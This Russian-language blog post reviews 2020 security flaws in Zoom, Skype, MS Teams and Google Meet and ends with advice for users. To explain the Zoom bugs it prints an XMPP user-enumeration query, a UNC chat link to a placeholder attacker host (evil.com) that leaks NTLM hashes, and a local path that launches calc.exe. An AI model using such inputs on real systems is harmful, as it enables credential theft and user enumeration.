Базовые требования к сервисам для организации видеоконференцсвязи — качество, надёжность и безопасность. И если первые два требования в основном сопоставимы у всех крупных игроков, то ситуация с безопасностью значительно отличается. В этом посте рассмотрим, как обстоят дела с защитой у самых используемых сервисов: Zoom, Skype, Microsoft Teams и Google Meet.
С начала пандемии все сервисы для организации видеоконференцсвязи столкнулись с взрывным ростом числа пользователей:
- число ежедневных пользователей Skype всего за месяц выросло на 70%,
- количество пользователей MS Teams с января выросло в 5 раз и достигло 75 млн человек,
- количество пользователей Zoom за 4 месяца выросло в 30 раз и превысило 300 млн человек в день,
- с января 2020 года количество ежедневных пользователей приложения Google (Hangout) Meet выросло в 30 раз и сейчас составляет 100 млн человек
Рост стоимости акций Zoom Video с момента начала пандемии. Источник: Investing.com
Однако массовый спрос вызвал не только рост курса акций компаний, но и наглядно продемонстрировал проблемы с безопасностью сервисов, о которых раньше почему-то никто не задумывался. Некоторые из проблем связаны с качеством работы программистов и могут привести к удалённому выполнению кода. В основе других лежат неправильные архитектурные решения, обеспечивающие возможность для злонамеренного использования сервиса.
Zoom
Компания Zoom Video буквально ворвалась на рынок ВКС-сервисов и быстро стала лидером. К сожалению, лидерство проявилось не только в числе пользователей, но и в количестве обнаруженных ошибок. Ситуация была настолько удручающей, что военные и государственные ведомства многих стран запретили сотрудникам пользоваться проблемным продуктом; их примеру последовали крупные компании. Рассмотрим уязвимости Zoom, ставшие причиной таких решений.
Проблемы с шифрованием
Zoom декларирует, что все видеозвонки защищены шифрованием, однако в действительности всё не так красиво: сервис действительно использует шифрование, но сеансовый ключ клиентская программа запрашивает у одного из серверов «системы управления ключами», входящими в состав облачной инфраструктуры Zoom. Эти серверы генерируют ключ шифрования и выдают его абонентам, которые подключаются к конференции — один ключ для всех участников конференции.
Передача ключа от сервера к клиенту происходит через протокол TLS, который также используется для https. Если кто-то из участников конференции пользуется Zoom на телефоне, копия ключа шифрования также будет передана ещё одному серверу-коннектору телефонии Zoom.
Часть серверов системы управления ключами расположена в Китае, причём они используются для выдачи ключей даже когда все участники конференции находятся в других странах. Возникают справедливые опасения, что правительство КНР может перехватить зашифрованный трафик, а затем расшифровать его с помощью ключей, полученных от провайдеров в добровольно-принудительном порядке.
Другая проблема шифрования связана с его практической реализацией:
- хотя в документации указано, что используются 256-битные ключи AES, их фактическая длина составляет лишь 128 бит;
- алгоритм AES работает в режиме ECB, при использовании которого результат шифрования частично сохраняет структуру исходных данных.
Результат шифрования изображения с использованием режима ECB и других режимов AES. Источник: Wikipedia
Уязвимость на 500 тыс. долларов
В середине апреля 2020 года в клиентах Zoom для Windows и macOS были обнаружены две уязвимости нулевого дня. RCE-уязвимость Windows-клиента сразу же выставили на продажу за 500 тыс. Долларов США. Чтобы воспользоваться ошибкой, атакующий должен позвонить жертве, либо участвовать с ней в одной конференции.
Уязвимость в macOS-клиенте не давала таких возможностей, поэтому её использование в реальных атаках маловероятно.
Ответы на неавторизованные XMPP-запросы
В конце апреля 2020 года в Zoom обнаружили ещё одну уязвимость: с помощью специально сформированного XMPP-запроса любой желающий мог получить список всех пользователей сервиса, относящихся к любому домену. Например, можно было получить список адресов пользователей с домена usa.gov, отправив XMPP-запрос вида:
<iq id='{XXXX}' type='get'
from='any_username@xmpp.zoom.us/ZoomChat_pc' xmlns='jabber:client'>
<query xmlns='zoom:iq:group' chunk='1' directory='1'>
<group id='usa.gov' version='0' option='0'/>
</query>
</iq>
Приложение просто не проверяло домен пользователя, запрашивающего список адресов.
Захват контроля над macOS
В клиенте Zoom для macOS были обнаружен две уязвимости, позволявшие злоумышленнику захватить контроль над устройством.
- Инсталлятор Zoom применял технику теневой установки, которую часто используют вредоносные программы, чтобы установиться без взаимодействия с пользователем. Локальный непривилегированный злоумышленник мог внедрить в инсталлятор Zoom вредоносный код и получить привилегии root.
- Внедрив вредоносный код в установленный Zoom-клиент, атакующий мог получить доступ к камере и микрофону, уже предоставленный приложению. При этом не будет отображаться никаких дополнительных запросов или уведомлений.
UNC-уязвимость в Windows-клиенте
Обнаруженная в клиенте Zoom для Windows уязвимость могла привести к утечке учётных данных пользователей через UNC-ссылки. Причина в том, что Windows-клиент Zoom преобразует ссылки в UNC-пути, поэтому, если отправить в чат ссылку вида \\evil.com\img\kotik.jpg, Windows попытается подключиться к этому сайту, используя протокол SMB, чтобы открыть файл kotik.jpg. Удалённый сайт получит от локального компьютера имя пользователя и NTLM-хэш, который можно взломать, используя утилиту Hashcat или другие инструменты.
Используя эту технику, можно было запустить практически любую программу на локальном компьютере. Например, по ссылке \127.0.0.1\C$\windows\system32\calc.exe запустится калькулятор.
Утечки записей видеозвонков
В начале апреля на YouTube и Vimeo появились в открытом доступе записи личных видеозвонков пользователей Zoom. В их числе были школьные уроки, психотерапевтические сеансы и консультации врачей, а также корпоративные совещания.
Причиной утечки стало то, что сервис присваивал видеоконференциям открытые идентификаторы, а организаторы конференций не защищали доступ к ним паролем. Любой желающий мог «слить» записи и использовать их по своему усмотрению.
Зумбомбинг
Тот самый случай, когда недостаточное внимание к настройкам безопасности конференций по умолчанию приводит к печальным последствиям. Для подключения к любой видеовстрече в Zoom достаточно было знать идентификатор встречи, и этим массово стали пользоваться пранкеры. Они врывались на онлайн-уроки и упражнялись там в своеобразном «остроумии», например, запускали демонстрацию экрана с порнороликом или разрисовывали документ на экране учителя непристойными изображениями.
Затем выяснилось, что проблема значительно шире, чем просто срыв онлайн-уроков. Журналисты The New York Times обнаружили закрытые чаты и ветки на форумах Reddit и 4Chan, участники которых проводили массовые кампании по срыву публичных мероприятий, онлайн-встреч обществ анонимных алкоголиков и других Zoom-встреч. Они разыскивали опубликованные в общем доступе реквизиты для подключения, а затем приглашали других троллей присоединиться к «веселью».
Работа над ошибками
Массовые отказы от использования сервиса заставили руководство Zoom принимать экстренные меры. В своём интервью CNN в начале апреля CEO Zoom Эрик Юань сказал, что компания двигалась слишком быстро, поэтому они допустили некоторые ошибки. Усвоив урок, они сделали шаг назад, чтобы сосредоточиться на конфиденциальности и безопасности.
В соответствии с программой «90 дней к безопасности», Zoom c 1 апреля 2020 года остановила работу над новыми функциями и занялась устранением выявленных проблем и аудитом безопасности кода.
Результатом этих мер стал выпуск Zoom версии 5.0, в которой помимо прочего проапгрейдили AES-шифрование до 256 бит и реализовали множество других доработок, связанных с безопасностью по умолчанию.
Skype
Несмотря на быстрый рост числа пользователей, Skype появлялся в новостях информационной безопасности текущего года всего раз, да и то не в связи с уязвимостью. В январе 2020 года один из бывших подрядчиков рассказал изданию The Guardian, что Microsoft в течение нескольких лет прослушивала и обрабатывала голоса пользователей Skype и Cortana без каких-либо мер безопасности. Однако впервые об этом стало известно ещё в августе 2019 года, и уже тогда представители Microsoft пояснили, что сбор голосовых данных проводится для обеспечения и совершенствования работы голосовых сервисов: поиска и распознавания голосовых команд, перевода речи и транскрибирования.
Результат поиска в базе уязвимостей по запросу «Skype». Источник: cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Skype
Что касается уязвимостей, то по данным базы CVE, в 2020 году в Skype не найдено ни одной уязвимости.
MS Teams
Microsoft уделяет много внимания безопасности своих продуктов, в том числе и MS Teams (хотя противоположное мнение широкого распространено). В 2019-2020 году в Teams обнаружены и исправлены следующие уязвимости:
1. CVE-2019-5922 — уязвимость в инсталляторе Teams, которая позволяла атакующему подсунуть ему вредоносную DLL и получить права в целевой системе, так как инсталлятор не проверял, что за DLL находится в его папке.
2. Уязвимость платформы Microsoft Teams позволяла скомпрометировать учётную запись пользователя с помощью картинки.
Схема атаки на MS Teams с помощью картинки. Источник: www.cyberark.com/resources/threat-research-blog/beware-of-the-gif-account-takeover-vulnerability-in-microsoft-teams
Источник проблемы был в том, как Teams работает с токенами доступа к изображениям. Для аутентификации пользователя в платформе используются два токена: authtoken и skypetoken. Authtoken позволяет пользователю загружать изображения в доменах Teams и Skype и генерирует skypetoken, который используется для аутентификации на сервере, обрабатывающем команды от клиента, например, чтение или отправку сообщений.
Перехвативший оба токена злоумышленник может выполнять вызовы Teams API и получить полный контроль над учётной записью:
- читать и отправлять сообщения,
- создавать группы,
- добавлять и удалять пользователей,
- менять разрешения.
Для перехвата достаточно было заманить жертву на подконтрольный злоумышленнику поддомен домена teams.microsoft.com с помощью GIF-файла. Тогда браузер жертвы отправит хакеру authtoken, после получения которого он сможет создать skypetoken.
3. Несколько уязвимостей, обнаруженных исследователями Tenable в компоненте для отправки открыток с благодарностями (Praise Cards) и окнах чата, позволяли внедрить код для несанкционированного изменения настроек, а также для хищения учётных данных пользователя. Microsoft не выпускала отдельных рекомендаций по поводу этих проблем, исправив их в новой версии приложения.
Google Meet
В отличие от аналогичных сервисов Google Meet полностью работает в браузере. Благодаря этой особенности за последние два года видеоконференцсвязь от Google ни разу не засветилась в новостях информационной безопасности. Даже вызванный пандемией 30-кратный рост числа пользователей не выявил уязвимостей, затрагивающих их безопасность.
Наши рекомендации
Использование любых программ требует ответственного отношения к безопасности, и средства для проведения видеоконференций не исключение. Приведём некоторые правила, которые помогут защитить ваши онлайн-встречи:
- используйте последнюю версию ПО,
- загружайте установщики программ только с официальных ресурсов,
- не публикуйте ID встреч в интернете,
- защищайте учётные записи с помощью двухфакторной аутентификации,
- разрешайте подключение к встречам только авторизованным пользователям,
- закройте возможность новых подключений после начала мероприятия,
- включите для организатора возможность блокировать или удалять участников встречи,
- используйте современные антивирусные решения, обеспечивающие комплексную защиту от новых и известных угроз.
Соблюдение правил онлайн-гигиены для видеоконференций позволят эффективно и безопасно работать даже в самые сложные периоды.